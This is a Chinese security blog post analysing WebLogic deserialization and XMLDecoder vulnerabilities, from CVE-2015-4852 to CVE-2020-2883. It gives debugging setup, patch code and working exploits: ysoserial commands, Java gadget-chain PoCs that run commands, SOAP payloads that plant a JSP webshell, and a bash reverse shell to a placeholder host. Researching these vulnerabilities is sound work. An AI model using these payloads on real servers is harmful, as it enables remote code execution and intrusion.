Weblogic反序列化漏洞

2020-05-15  本文已影响0人  AxisX

1.相关知识

历史漏洞

Weblogic较活跃的几个版本包括:Weblogic 10.3.6.0、Weblogic 12.1.3.0、Weblogic 12.2.1.1、Weblogic 12.2.1.2、Weblogic 12.2.1.3

相关漏洞列表如下
CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248(JRMP)、CVE-2018-2628、CVE-2018-2894、CVE-2019-2890、CVE-2020-2551、CVE-2020-2883

利用xml decoded反序列化进行远程代码执行的漏洞
CVE-2017-3506,CVE-2017-10271,CVE-2019-2725

2.动态调试环境搭建

2.1 vulhub镜像

https://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/
t3协议模拟
https://github.com/5up3rc/weblogic_cmd

首先安装vulhub,该docker安装方式请见https://vulhub.org/#/environments/,以CVE-2018-2628为例,进入到该文件夹下,sudo chmod 777 docker-compose.yml,使该文件有写权限,在末尾添加8453端口如下

//docker-compose.yml
version: '2'
services:
 weblogic:
   image: vulhub/weblogic
   ports:
    - "7001:7001"
    - "8453:8453"

然后在CVE-2018-2628文件夹下启动docker:docker-compose up -d,启动后,进入docker修改文件,命令如下

进入docker编辑文件

然后找到如下代码位置,加入红框内的代码

添加代码段
将docker重启,并查看是否开启了8453端口
重启docker
然后docker cp cve-2018-2628_weblogic_1:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars将代码拷贝出来,另外拷贝出/root/Oracle/Middleware/modules。使用idea打开wlserver_10.3,将server/lib和/root/Oracle/Middleware/modules这两个文件夹添加到library。debug选择remote,端口设置为8453,并设置module classpath。点击debug看能否正常开启。
ps:如果debug不能正常开启,检查虚拟机是否采用NAT模式进行网络连接,ifconfig查看ip,看主机是否能ping通虚拟机,如果不能ping通,修改VMware Network Adapter VMnet8(控制面板\网络和 Internet\网络连接中可找到)的配置和虚拟机ip同网段,或者改为自动获取。
远程调试效果图

2.2 windows安装

下载相应的文件fmw_12.2.1.4.0_wls.jar,windows安装有很多坑,首先java目录一般都是默认安装在C:\Program Files这个目录下,但是因为这个目录中间有个空格就会造成安装不成功。所以要把Java自定义在一个无空格的安装目录下才行。另外,还可能出现如下问题:

安装目录问题
最简单的解决方式是将该jar文件放到java的jdk的bin目录下,再次执行命令java -jar fmw_12.2.1.4.0_wls.jar即可。正在提取安装程序过后,Enter一下就能进入到安装的图形界面,基本上都选下一步,配置一下用户名密码。安装完成后到如下目录下开启server。
安装后目录
然后进入页面
登录界面
后台页面

3. 历史漏洞

3.1 CVE-2015-4852

server/lib/wlthint3client.jar!/weblogic/rjvm/InboundMsgAbbrev.class,所有T3协议的请求都会在如下方法中处理,没有任何过滤。


readObject

此漏洞之后weblogic开始对反序列化漏洞做黑名单防御,Weblogic的反序列化的点有着三个,黑名单ClassFilter.class也作用于这三个位置:

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
InboundMsgAbbrev.class::ServerChannelInputStream

isBlackListed()对类进行判断,黑名单如下


黑名单
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

3.2 CVE-2016-0638

根据CVE-2015-4852的黑名单,想要绕过就不能使用黑名单中的ServerChannelInputStream和MsgAbbrevInputStream的readObject进行的反序列化,要在readObject中创建自己的InputStream对象,然后调用readObject()方法进行反序列化的数据的读取。然后就找到了weblogic.jms.common.StreamMessageImpl#readExternal

我们知道只有实现了Serializable接口的类的对象才可以被序列化,而Externalizable则extends Serializable接口,并增加了两个方法writeExternal()和readExternal()。这两个方法会在序列化和反序列化还原的过程中被自动调用,以便执行一些特殊的操作。而且针对于类中不需要被序列化的属性,可以加上transient关键字,该字段代表生命周期仅在内存中而不会持久化。
server/lib/weblogic.jar!/weblogic/jms/common/StreamMessageImpl.class

漏洞点

该漏洞的补丁方式如下,即在v5获取的时候进行过滤

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
                super.readExternal(var1);
                //省略
                    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
                    BufferInputStream is = this.payload.getInputStream();
                    FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
                    //省略
                    try {
                        while (true) {
                            this.writeObject(var5.readObject());
                        }
                    } catch (EOFException var9) {

FilteringObjectInputStream的实现如下:

   public class FilteringObjectInputStream extends ObjectInputStream {
   public FilteringObjectInputStream(InputStream in) throws IOException {
      super(in);
   }
   protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
      String className = descriptor.getName();
      if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
      } else {
         return super.resolveClass(descriptor);
      }
   }
}

和CVE-2015-4852的黑名单过滤方式基本一致

3.3 CVE-2016-3510

此漏洞绕过利用的是weblogic.corba.utils.MarshalledObject,具体位置为server/lib/weblogic.jar!/weblogic/corba/utils/MarshalledObject.class

MarshalledObject

MarshalledObject会将其封装的数据进行一次序列化


漏洞点

由于该类不位于黑名单中,MarshalledObject就会将我们的封装进去的恶意数据反序列化,可以成功利用。

3.4 CVE-2017-3248

此漏洞实利用的JRMPClient(JRMP是Java RMI的默认基础通信协议),基本原理是通过应用的反序列化漏洞构造一个JRMP的client,去连接我们预置的恶意server,client读取server返回的数据,然后反序列化,触发漏洞。

具体流程为:利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,最终将加载的内容利用readObject()进行解析,导致之前序列化的恶意代码执行。

漏洞出现之后,weblogic在WebLogic_Modules\com.bea.core.weblogic.rmi.client_1.11.0.0.jar!\weblogic\rjvm\InboundMsgAbbrev.class中的补丁如下,在resolveClass和resolveProxyClass都设置了黑名单

private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
   protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
      String className = descriptor.getName();
      if(className != null && className.length() > 0 
        && ClassFilter.isBlackListed(className)) {
         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
      } else {
         Class c = super.resolveClass(descriptor);
        //省略
      }
   }
   protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
      String[] arr$ = interfaces;
      int len$ = interfaces.length;
      for(int i$ = 0; i$ < len$; ++i$) {
         String intf = arr$[i$];
         if(intf.equals("java.rmi.registry.Registry")) {//blacklist
            throw new InvalidObjectException("Unauthorized proxy deserialization");
         }
      }
      return super.resolveProxyClass(interfaces);
   }

当动态代理的代理类被反序列化时会在readObject之前先调用resolveProxyClass,此漏洞补丁黑名单中只有java.rmi.registry.Registry。weblogic官方只是指哪修哪,并没有从根源上解决问题。

补丁绕过思路:
(1)首先补丁只是在resolveProxyClass方法将java.rmi.registry.Registry加入黑名单,没有将UnicastRef加入黑名单。反序列化代理类才会调用resolveProxyClass,那么可以找不使用动态代理的gadget。最后调用到java.rmi.server.RemoteObject#readObject或者sum.rmi.server.UnicastRef#readExternal即可。即可以直接反序列化UnicastRef对象,调用sum.rmi.server.UnicastRef#readExternal
(2)使用java.rmi.server.RemoteObjectInvocationHandler之外的中介类,只要这个类继承自java.rmi.server.RemoteObject即可。
(3)使用java.rmi.registry.Registry之外的委托类,如java.rmi.activation.Activator

3.5 CVE-2018-2628

根据上述CVE-2017-3248的绕过思路,CVE-2018-2628有如下几种方法
(1)直接反序列化UnicastRef对象,调用sum.rmi.server.UnicastRef#readExternal
(2)用Activator代替Registry,它们都继承自java.rmi.Remote

攻击图

攻击

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/success'
python exploit.py 192.168.20.144 7001 ysoserial-master.jar 192.168.20.1 1099 JRMPClient

补丁:
WeblogicFilterConfig.class的黑名单增设了一个sun.rmi.server.UnicastRef,

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{
"org.codehaus.groovy.runtime.ConvertedClosure", 
"org.codehaus.groovy.runtime.ConversionHandler", 
"org.codehaus.groovy.runtime.MethodClosure", 
"org.springframework.transaction.support.AbstractPlatformTransactionManager", 
"sun.rmi.server.UnicastRef"};

3.6 CVE-2018-2893

这次绕过是前面两个漏洞的结合,由于weblogic一直没有处理streamMessageImpl,导致CVE-2016-0638 + CVE-2018-2628 = CVE-2018-2893。

3.7 CVE-2018-3245

同样是jrmp相关的绕过,这次使用ReferenceWrapper_Stub来代替RemoteObjectInvocationHandler:

3.8 CVE-2018-3191

涉及版本:10.3.6.0, 12.1.3.0, 12.2.1.3
这个漏洞利用的是jndi,与上面的漏洞不同的,这个漏洞是weblogic自身的gadget,没有使用第三方包(如CommonsCollections)中的gadget,所以危害相对来说更大。

漏洞的入口在com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar!/com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager.class


JtaTransactionManager.class

跟进initUserTransactionAndTransactionManager:


initUserTransactionAndTransactionManager
继续跟进,直到com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar!/com/bea/core/repackaged/springframework/jndi/JndiTemplate.class
漏洞点

所以我们只要构造userTransactionName属性为恶意jndi地址即可。

补丁
补丁主要增加了两个大类黑名单,分别是java.rmi.server.RemoteObjectcom.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager,RemoteObject用于修补CVE-2018-3245,而AbstractPlatformTransactionManager这个黑名单就是用于防止Spring JNDI注入,从官方以前的黑名单上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方没有想到在com.bea.core.repackaged的相关包还有spring的相关类。其实这两个包中的类实现几乎一样,只是来源于不同的包。

3.9 CVE-2020-2551

JtaTransactionManager的父类AbstractPlatformTransactionManager在之前的补丁中被加入到黑名单列表。
T3协议使用的是resolveClass方法进行过滤,resolveClass方法会读取父类所以T3协议这样设置可以有效过滤。但是IIOP协议不是使用resolveClass方法去判断,它默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表中。这样IIOP协议就可以被用于攻击,反序列化JtaTransactionManager类,而JtaTransactionManager类是存在jndi注入的。

3.10 CVE-2020-2555

网上流传的补丁

漏洞代码定位在com.tangosol.util.filter.LimitFilter#toString


调用链

部分相关代码

public String toString() {
        StringBuilder sb = new StringBuilder("LimitFilter: (");
        sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
        if (this.m_comparator instanceof ValueExtractor) {
            ValueExtractor extractor = (ValueExtractor)this.m_comparator;
            sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
        } else if (this.m_comparator != null) {
            sb.append(", comparator=").append(this.m_comparator);
        }
        sb.append("])");
        return sb.toString();
    }
public interface ValueExtractor<T, E>
//ReflectionExtractor#extract
public E extract(T oTarget) {
    if (oTarget == null) {
        return null;
    } else {
        Class clz = oTarget.getClass();
        try {
            Method method = this.m_methodPrev;
            if (method == null || method.getDeclaringClass() != clz) {
                this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
            }
            return method.invoke(oTarget, this.m_aoParam);
        } catch (NullPointerException var4) {
            throw new RuntimeException(this.suggestExtractFailureCause(clz));
        } catch (Exception var5) {
            throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
        }
    }
}
//ChainedExtractor#extract
public E extract(Object oTarget) {
    ValueExtractor[] aExtractor = this.getExtractors();
    int i = 0;
    for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
        oTarget = aExtractor[i].extract(oTarget);
    }
    return oTarget;
}

ValueExtractor是一个接口,在IDEA中可以对该名称->go to->implements来查找其实现类


ValueExtractor实现类

payload构造如下(含序列化和反序列化测试代码)

public class payload_2555{
    public static void main(String[] args) throws IllegalAccessException, InstantiationException, IOException, NoSuchMethodException, NoSuchFieldException, ClassNotFoundException {
        ReflectionExtractor reflectionExtractors[]=new ReflectionExtractor[]{
                new ReflectionExtractor("getMethod",new Object[]{"getRuntime",new Class[0]},0),
                new ReflectionExtractor("invoke",new Object[]{null, new Object[0]},0),
                new ReflectionExtractor("exec",new Object[]{"calc"},0)
        };
        ChainedExtractor chainedExtractor=new ChainedExtractor(reflectionExtractors);
        chainedExtractor.extract(Runtime.class);
        LimitFilter limitFilter=new LimitFilter();
        limitFilter.setTopAnchor(Runtime.class);
        Field m_comparator = LimitFilter.class.getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter,chainedExtractor);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException((Object) limitFilter);
        Field val=BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,(Object) limitFilter);
        FileOutputStream fileOut =new FileOutputStream("badAttributeValueExpException.ser");
        /*序列化操作*/
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(badAttributeValueExpException);
        out.close();
        fileOut.close();
        System.out.println("Serialized data is saved in badAttributeValueExpException.ser");
        /*反序列化测试代码*/
        FileInputStream fis=new FileInputStream("badAttributeValueExpException.ser");
        ObjectInputStream ois=new ObjectInputStream(fis);
        ois.readObject();
    }
}

chainedExtractor.extract(Runtime.getRuntime());是主动调用extract方法,oTarget是临时参数,不会被存储。所以在反序列化时该参为null不会进入ChainedExtractor.extract()的for循环
limitFilter.setTopAnchor(Runtime.getRuntime());如果用set方法传入,会报错java.io.NotSerializableException: java.lang.Runtime,跟进Runtime类可以发现,Runtime.getRuntime获取的是Runtime对象,其作用和New Runtime相同,但是它没有继承序列化接口

3.11 CVE-2020-2883

CVE-2020-2555的toString被打了补丁

BadAttributeValueExpException.readObject()
  com.tangosol.util.filter.LimitFilter.toString() //<--- CVE-2020-2555 patched here
    com.tangosol.util.extractor.ChainedExtractor.extract()
        com.tangosol.util.extractor.ReflectionExtractor().extract()
            Method.invoke()
            //...
            com.tangosol.util.extractor.ReflectionExtractor().extract()
            Method.invoke()
                Runtime.exec()

所以要寻找其他方式调用ChainedExtractor的extract方法。例如ExtractorComparator中的compare方法就对其进行了调用。

   public int compare(T o1, T o2) {
        Comparable a1 = o1 instanceof Entry ? (Comparable)((Entry)o1).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o1);
        Comparable a2 = o2 instanceof Entry ? (Comparable)((Entry)o2).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o2);
        if (a1 == null) {
            return a2 == null ? 0 : -1;
        } else {
            return a2 == null ? 1 : a1.compareTo(a2);
        }
    }

POC如下:

public class payload2883 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, IOException, ClassNotFoundException {
        ValueExtractor[] valueExtractors=new ValueExtractor[]{
                new ConstantExtractor(Runtime.class),
                new ReflectionExtractor("getMethod",new Object[] {"getRuntime",new Class[0]},0),
                new ReflectionExtractor("invoke",new Object[] {null,new Class[0]},0),
                new ReflectionExtractor("exec",new Object[] {"calc"},0)
        };
        ChainedExtractor chainedExtractor=new ChainedExtractor(valueExtractors);
        ExtractorComparator extractorComparator=new ExtractorComparator();
        Field m_extractor=extractorComparator.getClass().getDeclaredField("m_extractor");
        m_extractor.setAccessible(true);
        m_extractor.set(extractorComparator,chainedExtractor);

        PriorityQueue priorityQueue=new PriorityQueue();
//        PriorityQueue priorityQueue=new PriorityQueue(2,extractorComparator);
        priorityQueue.add("foo");
        priorityQueue.add("bar");
        Field comparator=priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,extractorComparator);
        FileOutputStream fileOut =new FileOutputStream("p.ser");
        /*序列化操作*/
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(priorityQueue);
        out.close();
        fileOut.close();
        System.out.println("Serialized data is saved in p.ser");
        /*反序列化测试代码*/
        FileInputStream fis=new FileInputStream("p.ser");
        ObjectInputStream ois=new ObjectInputStream(fis);
        ois.readObject();
    }
}

payload采坑:
(1)Runtime.getRuntime得到Runtime类不是一个可以被序列化的类,所以要改变2555中所用的写法,否则无法被序列化。
(2)PriorityQueue构造方法
PriorityQueue priorityQueue=new PriorityQueue();
PriorityQueue priorityQueue=new PriorityQueue(2,extractorComparator); 如果在这一步赋值,那么comparator就不为空,会跳到siftUpUsingComparator,而这一步就会运行到弹计算器,并且报错,在序列化操作之前
如果采用不赋参数的做法,则进入siftUpComparable,后续利用反射调用给comparator赋值,序列化。在反序列化时调用comparator,此时已不为空,跳到siftUpUsingComparator,进而运行compare进行弹计算器。

payload攻击

4. 历史漏洞—XML Decoder

调用栈-路由分发过程

server/lib/weblogic.jar!/weblogic/wsee/jaxws/workcontext/WorkContextTube.class的readHeaderOld方法开始解析xml:

xml解析

xml解析调用栈如下:


xml解析调用栈

server/lib/weblogic.jar!/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class中最终由XMLDecoder进行处理。

xmlDecoder解析
解析的核心在于XMLDecoder对标签的匹配,通过反射调用相应的方法。

4.1 CVE-2017-3506

漏洞在WLS-WebServices这个组件中,基于WLS wsat模块,核心就是XMLDecoder的反序列化漏洞

    public NextAction processRequest(Packet var1) {
        this.isUseOldFormat = false;
        if (var1.getMessage() != null) {
            HeaderList var2 = var1.getMessage().getHeaders();
            Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
            if (var3 != null) {
                this.readHeaderOld(var3);
                this.isUseOldFormat = true;
            }

            Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
            if (var4 != null) {
                this.readHeader(var4);
            }
        }

        return super.processRequest(var1);
    }

    protected void readHeaderOld(Header var1) {
        try {
            XMLStreamReader var2 = var1.readHeader();
            var2.nextTag();
            var2.nextTag();
            XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
            ByteArrayOutputStream var4 = new ByteArrayOutputStream();
            XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
            var3.bridge(var2, var5);
            var5.close();
            WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
            this.receive(var6);
        } catch (XMLStreamException var7) {
            throw new WebServiceException(var7);
        } catch (IOException var8) {
            throw new WebServiceException(var8);
        }
    }

    protected void receive(WorkContextInput var1) throws IOException {
        WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
        var2.receiveRequest(var1);
    }

    public void receiveRequest(WorkContextInput var1) throws IOException {
        ((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
    }

 public void receiveRequest(WorkContextInput var1) throws IOException {
        while(true) {
            try {
                WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
                if (var2 == WorkContextEntry.NULL_CONTEXT) {
                    return;
                }

                String var3 = var2.getName();
                this.map.put(var3, var2);
                if (debugWorkContext.isDebugEnabled()) {
                    debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
                }
            } catch (ClassNotFoundException var4) {
                if (debugWorkContext.isDebugEnabled()) {
                    debugWorkContext.debug("receiveRequest : ", var4);
                }
            }
        }
    }

   public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
        String var1 = var0.readUTF();
        return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
    }

POC:

<?xml version="1.0" encoding="UTF-8"?>
<java>
         <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="1" >
                          <void index="0"> 
                                   <string>calc.exe</string>     
                          </void>             
                  </array>
                  <void method="start"/>
         </object>
</java>

或者

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
            <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string><%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><input type="hidden" path="<%=application.getRealPath("/") %>"><%response.setStatus(404);%></string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

或者

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<%
    if("ty".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[102400];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
    out.print("test"); 
    %>]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

补丁

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

禁用了object,就出现了CVE-2017-10271,将object换成了void等

4.2 CVE-2017-10271

POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java version="1.4.0" class="java.beans.XMLDecoder">
                    <void class="java.lang.ProcessBuilder">
                        <array class="java.lang.String" length="3">
                            <void index="0">
                                <string>/bin/bash</string>
                            </void>
                            <void index="1">
                                <string>-c</string>
                            </void>
                            <void index="2">
                                <string>/bin/bash -i &gt; /dev/tcp/xxx.xxx.xxx.xxx/8888 0&lt;&amp;1 2&gt;&amp;1</string>
                            </void>
                        </array>
                        <void method="start"/></void>
                </java>
            </work:WorkContext>
        </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

上述xml可转成java代码格式如下:

public class payload_3506 {
    public static String[] a=new String[3];
    public static void main(String[] args) {
        try{
            a[0]="cmd";
            a[1]="/c";
            a[2]="calc";
            ProcessBuilder processBuilder=new ProcessBuilder(a);
            processBuilder.start();
        }
        catch (Exception e){
            System.out.println("Something error");
        }
    }
}

补丁:

public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
            if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }
            }
    }
    }

4.3 CVE-2019-2725

weblogic\wsee\workarea\WorkAreaServerHandler.class

  public boolean handleRequest(MessageContext var1) {
        try {
            WlMessageContext var2 = WlMessageContext.narrow(var1);
            MsgHeaders var3 = var2.getHeaders();
            WorkAreaHeader var4 = (WorkAreaHeader)var3.getHeader(WorkAreaHeader.TYPE);
            if (var4 != null) {
                WorkContextMapInterceptor var5 = WorkContextHelper.getWorkContextHelper().getInterceptor();
                var5.receiveRequest(new WorkContextXmlInputAdapter(var4.getInputStream()));
                if (verbose) {
                    Verbose.log("Received WorkAreaHeader " + var4);
                }
            }

            return true;
        } catch (IOException var6) {
            throw new JAXRPCException("Unable to procees WorkContext:" + var6);
        }
    }

 public void receiveRequest(WorkContextInput var1) throws IOException {
        while(true) {
            try {
                WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
                if (var2 == WorkContextEntry.NULL_CONTEXT) {
                    return;
                }

                String var3 = var2.getName();
                this.map.put(var3, var2);
                if (debugWorkContext.isDebugEnabled()) {
                    debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
                }
            } catch (ClassNotFoundException var4) {
                if (debugWorkContext.isDebugEnabled()) {
                    debugWorkContext.debug("receiveRequest : ", var4);
                }
            }
        }
    }

    public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
        String var1 = var0.readUTF();
        return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
    }

XMLDecoder的关键点
(1)标签处理

startElement # 处理父标签
  ElementHandler 
    startElement # 处理一级子标签
      ElementHandler 
        ...
    endElement # 处理一级子标签的结束标签
      ElementHandler.getValueObject
endElement # 处理父标签的结束标签
  ElementHandler.getValueObject

ElementHandler包含的标签如图所示


ElementHandler包含的标签

具体的标签可查询官方文档
https://www.oracle.com/technetwork/java/persistence3-139471.html

参考资料

https://seaii-blog.com/index.php/2019/12/29/92.html
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#commons
https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704
CVE-2015-4852
http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/
CVE-2018-2628
https://paper.seebug.org/584/
CVE-2017-3506
https://whip1ash.cn/2018/10/21/weblogic-deserialization/#weblogic-workarea-spi-WorkContextEntryImpl
CVE-2019-2725
https://lucifaer.com/2019/05/10/WebLogic%20wls9-async%E7%BB%84%E4%BB%B6RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-2725%EF%BC%89/

上一篇 下一篇

猜你喜欢

热点阅读